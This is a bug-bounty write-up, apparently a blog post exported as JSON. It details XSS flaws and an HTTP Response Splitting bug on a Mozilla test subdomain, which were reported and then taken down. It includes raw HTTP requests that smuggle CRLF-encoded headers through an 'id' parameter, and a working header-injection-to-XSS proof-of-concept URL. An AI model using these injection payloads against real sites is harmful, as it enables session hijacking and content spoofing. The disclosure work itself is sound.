{"id":2310,"date":"2017-04-03T21:24:09","date_gmt":"2017-04-03T19:24:09","guid":{"rendered":"https:\/\/www.asafety.fr\/?p=2310"},"modified":"2017-04-10T13:29:16","modified_gmt":"2017-04-10T11:29:16","slug":"contribution-mozilla-http-response-splitting-reflected-stored-xss","status":"publish","type":"post","link":"https:\/\/www.asafety.fr\/en\/vuln-exploit-poc\/contribution-mozilla-http-response-splitting-reflected-stored-xss\/","title":{"rendered":"[Contribution] Mozilla \u2013 HTTP Response Spliting, Reflected &#038; Stored XSS"},"content":{"rendered":"<p><\/p>\n<p style=\"text-align: center;\"><strong>A subdomain of Mozilla.org has several XSS vulnerabilities and an HTTP Response Splitting vulnerability.<\/strong><\/p>\n<p>This article illustrates the exploitation of an <strong>HRS<\/strong> (<em>HTTP Response Splitting<\/em>) in order to elevate it in a reflected XSS through a concrete example: <strong>Mozilla<\/strong>.<\/p>\n<h1>Target description<\/h1>\n<p>When searching for vulnerable (sub)-domains as part of a Bug Bounty program, the subdomain dictionary attack phase can be successful. Beyond the known domains \/ subdomains that can be easily listed and discovered via search engines, <em>dorks<\/em>, or <a href=\"https:\/\/en.wikipedia.org\/wiki\/Open-source_intelligence\" target=\"_blank\">OSINT<\/a> tools such as &#8220;<a href=\"http:\/\/www.edge-security.com\/theharvester.php\" target=\"_blank\">the harvester<\/a>&#8220;, some subdomains may remain hidden, non-indexed and &#8220;unknown&#8221;.<\/p>\n<p>This is precisely the case for the subdomain victim of the few vulnerabilities detailed later: <strong>chimein.mozilla.org<\/strong>. This domain, which was not indexed to common search engines and was neither &#8220;cited&#8221; nor &#8220;linked&#8221; anywhere, was discovered by a <a href=\"https:\/\/github.com\/TheRook\/subbrute\" target=\"_blank\"><strong>subbrute<\/strong><\/a> (brute-force of subdomains) by chance.<\/p>\n<p>This domain had a seemingly poor design (understand that it seemed to host a draft web application, or a PoC).<\/p>\n<div id=\"attachment_2317\" style=\"width: 304px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_SXSS_001.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-2317\" class=\"size-medium wp-image-2317\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_SXSS_001-294x300.png\" alt=\"Chimein.mozilla.org\" width=\"294\" height=\"300\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_SXSS_001-294x300.png 294w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_SXSS_001-58x58.png 58w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_SXSS_001-300x306.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_SXSS_001.png 622w\" sizes=\"auto, (max-width: 294px) 100vw, 294px\" \/><\/a><p id=\"caption-attachment-2317\" class=\"wp-caption-text\">Chimein.mozilla.org<\/p><\/div>\n<p>A list of registered users as well as a very basic registration \/ login form were present: without any frills nor CSS. By entering an arbitrary account in order to register, I was able to register and authenticate myself on this web application of which I had not yet determined its usefulness:<\/p>\n<ul>\n<li>Login: <strong>ycam<\/strong><\/li>\n<li>Password: <strong>ycam<\/strong><\/li>\n<li>Passphrase: <strong>ycam<\/strong><\/li>\n<\/ul>\n<p><strong>Note<\/strong>: A passphrase in addition to a password? Will I encounter a notion of asymmetric encryption and certificates after registration and authentication?<\/p>\n<p>Once registered and authenticated, the interest of this web application became clear: a form to send messages (encrypted) to other registered members became visible, as well as of course the list of my &#8220;own&#8221; messages received:<\/p>\n<div id=\"attachment_2316\" style=\"width: 219px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_SXSS_005.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-2316\" class=\"size-medium wp-image-2316\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_SXSS_005-209x300.png\" alt=\"Message form\" width=\"209\" height=\"300\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_SXSS_005-209x300.png 209w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_SXSS_005-300x430.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_SXSS_005.png 375w\" sizes=\"auto, (max-width: 209px) 100vw, 209px\" \/><\/a><p id=\"caption-attachment-2316\" class=\"wp-caption-text\">Message form<\/p><\/div>\n<p>The application worked quite well: once registered, a bi-key was generated on the server side and each message sent from one user to another was protected by asymmetric encryption using these certificates coupled with the specified passphrase.<\/p>\n<p>The &#8220;very precarious&#8221; side of the design and appearance of the application made me think of a proof-of-concept Mozilla, &#8220;forgotten&#8221; on a subdomain not referenced yet in the beta stage. I love this kind of target (very rare nowadays), on which I ran out my tests.<\/p>\n<h1>Few XSS&#8230;<\/h1>\n<p>The very &#8220;simple&#8221; and &#8220;proof-of-concept&#8221; side of the application prompted me to test the server-side processing and clean-up of the user inputs: <strong>no sanitization<\/strong>.<\/p>\n<p>The fields were vulnerable to <strong>Cross-Site Scripting<\/strong> vulnerabilities.<\/p>\n<h2>Reflected XSS<\/h2>\n<p>The login field, which was immediately reflected when authenticated in the &#8220;<em>logged in as <strong>[login]<\/strong><\/em>&#8221; message, was vulnerable to a standard XSS injection:<\/p>\n<div id=\"attachment_2315\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_RXSS_001.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-2315\" class=\"wp-image-2315 size-medium\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_RXSS_001-300x160.png\" alt=\"Login injection\" width=\"300\" height=\"160\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_RXSS_001-300x160.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_RXSS_001-768x410.png 768w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_RXSS_001-1024x547.png 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_RXSS_001.png 1350w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-2315\" class=\"wp-caption-text\">Login injection<\/p><\/div>\n<p>Once authenticated, the reflection was triggered:<\/p>\n<div id=\"attachment_2318\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_RXSS_002.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-2318\" class=\"size-medium wp-image-2318\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_RXSS_002-300x214.png\" alt=\"Login reflection\" width=\"300\" height=\"214\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_RXSS_002-300x214.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_RXSS_002-768x547.png 768w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_RXSS_002-1024x730.png 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_RXSS_002.png 1350w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-2318\" class=\"wp-caption-text\">Login reflection<\/p><\/div>\n<p>But this XSS (Self) was only slightly critical &#8230;<\/p>\n<h2>Stored XSS\u00a0encrypted<\/h2>\n<p>More interesting: the body of the messages sent to the various recipients was also vulnerable. The messages were encrypted (via the bi-key \/ passphrase), so the XSS payload was stored encrypted by the application.<\/p>\n<div id=\"attachment_2319\" style=\"width: 256px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_SXSS_002.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-2319\" class=\"size-medium wp-image-2319\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_SXSS_002-246x300.png\" alt=\"XSS payload in body\" width=\"246\" height=\"300\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_SXSS_002-246x300.png 246w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_SXSS_002-300x365.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_SXSS_002.png 640w\" sizes=\"auto, (max-width: 246px) 100vw, 246px\" \/><\/a><p id=\"caption-attachment-2319\" class=\"wp-caption-text\">XSS payload in body<\/p><\/div>\n<p>Once received by the user-victim, the user would consult the victim after having indicated the associated passphrase:<\/p>\n<div id=\"attachment_2320\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_SXSS_003.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-2320\" class=\"size-medium wp-image-2320\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_SXSS_003-300x218.png\" alt=\"Passphrase\" width=\"300\" height=\"218\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_SXSS_003-300x218.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_SXSS_003-768x557.png 768w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_SXSS_003-1024x742.png 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_SXSS_003.png 1120w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-2320\" class=\"wp-caption-text\">Passphrase<\/p><\/div>\n<p>And the payload, once deciphered, was triggered &#8230;<\/p>\n<div id=\"attachment_2321\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_SXSS_004.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-2321\" class=\"size-medium wp-image-2321\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_SXSS_004-300x218.png\" alt=\"Stored XSS fired !\" width=\"300\" height=\"218\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_SXSS_004-300x218.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_SXSS_004-768x559.png 768w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_SXSS_004-1024x745.png 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_SXSS_004.png 1156w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-2321\" class=\"wp-caption-text\">Stored XSS fired !<\/p><\/div>\n<p>More interesting than the first (Self-) XSS, this encrypted Stored-XSS gained criticality but still required actions of the potential victim (connect, choose the malicious message, indicate the passphrase, etc.).<\/p>\n<h1>HTTP Response Splitting<\/h1>\n<p>HTTP Response Splitting (HRS) is an injection technique at the headers in response from the server. The principle is to forge \/ modify the headers of a server response from a client request containing arbitrary data. The <a href=\"https:\/\/www.owasp.org\/index.php\/HTTP_Response_Splitting\" target=\"_blank\">OWASP<\/a> describes this attack like this:<\/p>\n<blockquote><p>HTTP response splitting occurs when:<\/p>\n<ul>\n<li>Data enters a web application through an untrusted source, most frequently an HTTP request.<\/li>\n<li>The data is included in an HTTP response header sent to a web user without being validated for malicious characters.<\/li>\n<\/ul>\n<p>HTTP response splitting is a means to an end, not an end in itself. At its root, the attack is straightforward: an attacker passes malicious data to a vulnerable application, and the application includes the data in an HTTP response header.<\/p>\n<p>To mount a successful exploit, the application must allow input that contains CR (carriage return, also given by %0d or \\r) and LF (line feed, also given by %0a or \\n)characters into the header AND the underlying platform must be vulnerable to the injection of such characters. These characters not only give attackers control of the remaining headers and body of the response the application intends to send, but also allow them to create additional responses entirely under their control.<\/p><\/blockquote>\n<h2>HRS detection<\/h2>\n<p>The application operated via an API and several entry-points. For example, to create a new message, the entry-point &#8220;<strong>\/message\/create<\/strong>&#8221; was used. To list the received messages it was &#8220;<strong>\/message\/list<\/strong>&#8221; and to consult a message &#8220;<strong>\/message\/get<\/strong>&#8221; with the ID of the message transmitted in JSON-POST via a query of type:<\/p>\n<pre>POST \/message\/get HTTP\/1.1\r\nHost: chimein.mozilla.org\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko\/20100101 Firefox\/49.0\r\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8\r\nAccept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3\r\nAccept-Encoding: gzip, deflate, br\r\nDNT: 1\r\nConnection: close\r\nUpgrade-Insecure-Requests: 1\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 30\r\n\r\nlogin=ycam&amp;password=ycam&amp;id=57<\/pre>\n<p>The response associated with the ID 57 message was:<\/p>\n<pre>HTTP\/1.1 200 OK\r\nContent-Type: application\/json\r\nContent-Length: 1525\r\nDate: Fri, 21 Oct 2016 00:05:14 GMT\r\nConnection: close\r\n\r\n{\"id\":57,\"sender\":\"ycam\",\"recipient\":\"ycam\",\"subject\":\"ycam\",\"subject_signature\":\"C2sgosxgaKPEqJJwLb5R29A8fqX9wxA30SLqcJzKLkhEDVuAIIZesho736eDtI7GbrjpFBgc9I8E\\r\\n\/PMRAbK6IZF9O9G+kOmy9a\/mSPY9L8yiFdwk8CXzW\/nvmirx3qelwQ87z3cgrxGe8um7Ntc603h2\\r\\nWrux3wQrv5JptqEMC1Cj+atQQQ\/B6ahv9Q6K2z7wmIViR1mcZuNG9V26PwierLoNNOBDwXmChsPI\\r\\nKpy\/0TgJhkpWj+PO3YIvxy015imeISUgmZyTmOaJAy7\/OQzvw5GUAS5nTG\/tU79kO7AlhQLTgjlL\\r\\nE3uKE2jM2ACuwtqZNeSpNTUeyGBLCxHD18vqMw==\",\"body\":\"O8E+SCVlBZiL8xsg0yEg+K5+jdHKkuQA89z8FpLDekOT3CUa43B\/Qw+BxyCTgccngdRp7en7Zi+M\\r\\nwMgDouqt8f1NGa8hxk4xP0lxN0vsR8dz1DyY2etgtGtSY8ehWDoK\",\"body_signature\":\"kFLh+gNR1Ow2zuxqRebnYmiB\/N2GEYWSFdLdK4dfdM2N5pKJw5eXsfu1YyKkznYEHU1c1z+YF13e\\r\\nzyWBWtwmSPff+6JFWIHGqYI2RR+qszbAduHwHSniFPkz0gKntc\/xOe8GFX62z78pAPJfZ4tLyg8p\\r\\nLobVsLDjaipcRsy4tC0LWz56zjCWbACKPP9Gwi0VGng2Ny3KYoTSt+6t7GkCWf799ztY8R0WYJ8q\\r\\nskQAYD5LuHpdadi8+8RDdgYOaepyYPGfjuhJXXsqec9rivk84mkZSa8cAtXgrFF4bnj+F9z8KFgc\\r\\nvhiVAG71i65AVRbJ6pPR2CKjnnOhSkBjldNIuQ==\",\"session_key\":\"a3EPAkTnptCVn9FSgmfTkpgzgjQgOGuYLFG+MmtmZjcwAPJjXePxH8\/1XWWolhPn1fRmf4j9ybmo\\r\\nlXYOg4Fj1ss8k2HRcugxridBTkZ53dd0Af0qEHeSsiA1Rsm0d2G76k6qsWzgD55WBc6nuEXiOrzM\\r\\nTxVPIcT\/vLbjTA0hrnzmm\/tiyq31YPVOYq3Di95urw38DFJIRPKiP\/cJ0GoWkUrcB6OK8lCfvx0K\\r\\nWsS+PpAB\/c1xBUoG0TmFKZRkCXx8toykvz7cqC6hwZHbWRj4A5cLbnIrYdIXZ+2AkjhwcNzqWHQb\\r\\nHHm1wN6fkalHKXW7+wM2ctioB1JaE3gYE7WmGA==\",\"session_key_iv\":\"zOtfAHFpmaW+hm2xcJhPxw==\",\"status\":\"read\",\"sent_date\":\"2016-10-20T23:05:30.009Z\",\"retrieved_date\":\"2016-10-20T23:06:45.811Z\",\"read_date\":\"2016-10-20T23:06:48.066Z\"}<\/pre>\n<p>We note the presence of several cryptographic features in this response, including signature, IV, key, etc. Inducing that the decryption was done on the client side.<\/p>\n<div id=\"attachment_2325\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_HRS_001.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-2325\" class=\"size-medium wp-image-2325\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_HRS_001-300x163.png\" alt=\"GET message ID\" width=\"300\" height=\"163\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_HRS_001-300x163.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_HRS_001-768x417.png 768w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_HRS_001-1024x556.png 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_HRS_001.png 1350w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-2325\" class=\"wp-caption-text\">GET message ID<\/p><\/div>\n<p>When attempting to inject a non-existent or badly formatted ID, the server would return an <strong>error code 500<\/strong> with the ID in question reflected in the error code message:<\/p>\n<pre>HTTP\/1.1 500 message xxx does not exist\r\nDate: Fri, 21 Oct 2016 00:07:11 GMT\r\nConnection: close\r\nContent-Length: 0<\/pre>\n<div id=\"attachment_2326\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_HRS_004.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-2326\" class=\"size-medium wp-image-2326\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_HRS_004-300x96.png\" alt=\"ID reflection in header\" width=\"300\" height=\"96\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_HRS_004-300x96.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_HRS_004-768x246.png 768w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_HRS_004-1024x329.png 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_HRS_004.png 1739w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-2326\" class=\"wp-caption-text\">ID reflection in header<\/p><\/div>\n<p>From this reflection, we\u00a0test the injection of the traditional <strong>\\r\\n<\/strong> url-encoded, namely <strong>%0a%0d<\/strong>:<\/p>\n<pre>POST \/message\/get HTTP\/1.1\r\nHost: chimein.mozilla.org\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko\/20100101 Firefox\/49.0\r\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8\r\nAccept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3\r\nAccept-Encoding: gzip, deflate, br\r\nDNT: 1\r\nConnection: close\r\nUpgrade-Insecure-Requests: 1\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 55\r\n\r\nlogin=ycam&amp;password=ycam&amp;id=xxx%0a%0dyyy%0a%0dzzz%0a%0d<\/pre>\n<p>Response:<\/p>\n<pre>HTTP\/1.1 500 message xxx\r\nyyy\r\nzzz\r\n does not exist\r\nDate: Fri, 21 Oct 2016 00:08:40 GMT\r\nConnection: close\r\nContent-Length: 0<\/pre>\n<div id=\"attachment_2327\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_HRS_005.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-2327\" class=\"size-medium wp-image-2327\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_HRS_005-300x96.png\" alt=\"HTTP Response Splitting delected\" width=\"300\" height=\"96\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_HRS_005-300x96.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_HRS_005-768x246.png 768w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_HRS_005-1024x328.png 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_HRS_005.png 1735w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-2327\" class=\"wp-caption-text\">HTTP Response Splitting delected<\/p><\/div>\n<p><strong>Bingo<\/strong>! Our arbitrary headers are present in the server response!<\/p>\n<h2>Exploitation<\/h2>\n<p>Via this confirmed HRS allowing us to inject and generate arbitrary headers in the response of the server, the idea will be to create our own HTML response that will be interpreted in the browser (we generate our own XSS).<\/p>\n<p>To achieve this, we need several headers to inject as well as content (the XSS), for example:<\/p>\n<ul>\n<li>Header Content-Type: <strong>text \/ html<\/strong><\/li>\n<li>Header Content-Length: <strong>[LENGTH]<\/strong><\/li>\n<li>A duplicate <strong>\\r\\n\\r\\n\u00a0<\/strong>followed by the &#8220;source code&#8221; HTML \/ JS of our choice<\/li>\n<li>Opening an HTML comment <strong>&lt;!&#8211;<\/strong> to comment on all remaining content (headers and body) of the legitimate response<\/li>\n<\/ul>\n<p><strong>Note<\/strong>: the parameters were interpreted both in POST and GET.<\/p>\n<p>This resulted in the following injection:<\/p>\n<pre>https:\/\/chimein.mozilla.org\/message\/get?login=ycam&amp;password=ycam&amp;id=x%0a%0dContent-Length: 100%0a%0dContent-Type: text\/html%0a%0d%0a%0d&lt;html&gt;&lt;body&gt;&lt;script&gt;alert(document.domain)&lt;\/script&gt;&lt;\/body&gt;&lt;\/html&gt;&lt;!--<\/pre>\n<div id=\"attachment_2331\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_HRS_006.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-2331\" class=\"size-medium wp-image-2331\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_HRS_006-300x105.png\" alt=\"HRS to XSS\" width=\"300\" height=\"105\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_HRS_006-300x105.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_HRS_006-768x270.png 768w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_HRS_006-1024x360.png 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20161021-Chimein.mozilla.org_HRS_006.png 1857w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-2331\" class=\"wp-caption-text\">HRS to XSS<\/p><\/div>\n<p><strong>XSS fired!<\/strong> We exploited <strong>HTTP Response Splitting<\/strong> to raise the header injection to produce an <strong>XSS<\/strong>. It is triggered as soon as the page is loaded.<\/p>\n<h1>&#8220;Correction&#8221; and conclusion<\/h1>\n<p>Following the discovery of these various vulnerabilities targeting different entry points of the application, two tickets on the BugZilla Security \/ Bug Bounty of Mozilla were opened:<\/p>\n<ul>\n<li><a href=\"https:\/\/bugzilla.mozilla.org\/show_bug.cgi?id=1311883\" target=\"_blank\">Bug 1311883 &#8211; Stored-XSS and Reflected-XSS in Chimein.mozilla.org secure messenger system<\/a><\/li>\n<li><a href=\"https:\/\/bugzilla.mozilla.org\/show_bug.cgi?id=1311887\" target=\"_blank\">Bug 1311887 &#8211; HTTP Response Splitting in chimein.mozilla.org (leverage to Reflected XSS)<\/a><\/li>\n<\/ul>\n<p>This domain, unfortunately not one of those eligible for the bounty of Mozilla, was detached from the DNS entry &#8220;chimein.mozilla.org&#8221; and was therefore no longer attached to the Mozilla project within 24 hours.<\/p>\n<p>A few weeks \/ months later, this Secure Messaging PoC was no longer accessible at all (even via the server&#8217;s IP).<\/p>\n<p>The vulnerabilities have therefore not been corrected (it was only a PoC after all), the subdomain was simply deleted preventing new access. It is a drastic method, certainly, but functional to mitigate\u00a0the vulnerabilities :)!<\/p>\n<p>In any case, I encourage all bug-hunters to scan non-referenced subdomains via tools like <a href=\"https:\/\/github.com\/TheRook\/subbrute\" target=\"_blank\"><strong>subbrute<\/strong><\/a>, in order to explore other perimeters that have certainly not yet been analyzed!<\/p>\n<p>I thank Mozilla security teams for their friendliness, professionalism, both for the exchanges through tickets and via emails.<\/p>\n<p>Thanks for the <a href=\"https:\/\/www.mozilla.org\/en-US\/security\/bug-bounty\/web-hall-of-fame\/\" target=\"_blank\">Hall of Fame<\/a>\u00a0too! \ud83d\ude42<\/p>\n<div id=\"attachment_2334\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/hall_of_fame.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-2334\" class=\"size-medium wp-image-2334\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/hall_of_fame-300x267.png\" alt=\"Mozilla Hall of Fame\" width=\"300\" height=\"267\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/hall_of_fame-300x267.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/hall_of_fame-768x685.png 768w, https:\/\/www.asafety.fr\/wp-content\/uploads\/hall_of_fame-1024x913.png 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/hall_of_fame.png 1059w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-2334\" class=\"wp-caption-text\">Mozilla Hall of Fame<\/p><\/div>\n<p><strong>Sources &amp; ressources :<\/strong><\/p>\n<ul>\n<li><a href=\"https:\/\/bugzilla.mozilla.org\/show_bug.cgi?id=1311883\" target=\"_blank\">Bug 1311883 &#8211; Stored-XSS and Reflected-XSS in Chimein.mozilla.org secure messenger system<\/a><\/li>\n<li><a href=\"https:\/\/bugzilla.mozilla.org\/show_bug.cgi?id=1311887\" target=\"_blank\">Bug 1311887 &#8211; HTTP Response Splitting in chimein.mozilla.org (leverage to Reflected XSS)<\/a><\/li>\n<li><a href=\"https:\/\/www.mozilla.org\/en-US\/security\/bug-bounty\/web-hall-of-fame\/\" target=\"_blank\">Mozilla Hall of Fame<\/a><\/li>\n<li><a href=\"https:\/\/www.owasp.org\/index.php\/HTTP_Response_Splitting\" target=\"_blank\">OWASP HTTP Response Splitting<\/a><\/li>\n<li><a href=\"https:\/\/packetstormsecurity.com\/files\/142014\/Chimein.mozilla.org-Cross-Site-Scripting.html\" target=\"_blank\">PacketStorm advisory<\/a><\/li>\n<\/ul>\n<p><\/p>","protected":false},"excerpt":{"rendered":"<p>A subdomain of Mozilla.org has several XSS vulnerabilities and an HTTP Response Splitting vulnerability. This article illustrates the exploitation of [&hellip;]<\/p>\n","protected":false},"author":1337,"featured_media":2312,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[528,378,56,530,398,14],"tags":[],"class_list":["post-2310","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-bugbounty","category-contributions","category-cryptologie","category-hrs","category-opensource","category-vuln-exploit-poc"],"_links":{"self":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts\/2310","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/users\/1337"}],"replies":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/comments?post=2310"}],"version-history":[{"count":17,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts\/2310\/revisions"}],"predecessor-version":[{"id":2343,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts\/2310\/revisions\/2343"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/media\/2312"}],"wp:attachment":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/media?parent=2310"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/categories?post=2310"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/tags?post=2310"}],"curies":[{"name":"wp","href":"https:\/\/api